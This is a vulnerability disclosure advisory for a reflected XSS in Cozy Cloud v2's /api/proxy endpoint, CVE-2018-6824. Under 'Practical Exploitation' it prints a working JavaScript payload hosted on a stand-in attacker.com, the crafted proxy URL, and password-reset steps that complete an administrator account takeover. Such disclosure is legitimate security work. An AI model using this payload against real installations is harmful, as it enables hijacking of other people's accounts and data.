LYNX

Reflected XSS To Account Takeover in Cozy Cloud v2

Author: Corben Leo (@sxcurity)

Date: 1/16/2018

PRODUCT DESCRIPTION

"Cozy is an app-based personal cloud you host at home. It turns a low-cost piece of hardware like a Raspberry Pi 2 or an online VPS into a powerful app platform. It comes with common applications: a contacts manager, a calendar, a webmail and a filebox."

SUMMARY

A transient cross-site scripting vulnerability was identified in Cozy Cloud v2. This vulnerability would allow an attacker to take over a vulnerable Cozy installation with slight user interaction. The installation was setup in Docker:

```
sudo docker run --restart=always -d -p 80:80 -p 443:443 --name=moncozy -e
DOMAIN=vulnerable.example.com -e TERM=xterm/backup cozy/full
```

DESCRIPTION

Cozy Cloud has a proxy function located at /api/proxy which takes an external webpage from the ?url= parameter, retrieves, then renders it as html. This allows an attacker to create a malicious page and execute scripts from the context of the Cozy installation.

PRACTICAL EXPLOITATION

1. An attacker creates and hosts a malicious HTML / Javascript:

- http://attacker.com/cozy.html

```
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/api/user");
xmlhttp.setRequestHeader("Content-Type", "application/json");
xmlhttp.send(JSON.stringify({email:"attacker@example.com"}));
window.location = '/'
</script>
```

2. The attacker creates the exploit:

```
http://cozy.example.com/api/proxy?url=http://attacker.com/cozy.html
```

3. The attacker lures the victim, authenticated to the Cozy installation, to visit the exploit page and the javascript changes the administrator email to the email under their control, in this example: attacker@example.com
4. The attacker visits the Cozy Installation, clicks “Forgotten Password”, retrieves the email from his inbox, and then changes the password to the victim’s account, successfully taking over the installation.

VIDEO: https://youtu.be/lIiY4NuLEHI

REMEDIATION

Cozy Cloud has neither responded nor released a patch for this vulnerability.

TIMELINE

1/16/2018 – Vulnerability disclosed to Cozy (support@cozycloud.cc)
2/06/2018 – No response – Public Disclosure
2/07/2018 – Assigned CVE-2018-6824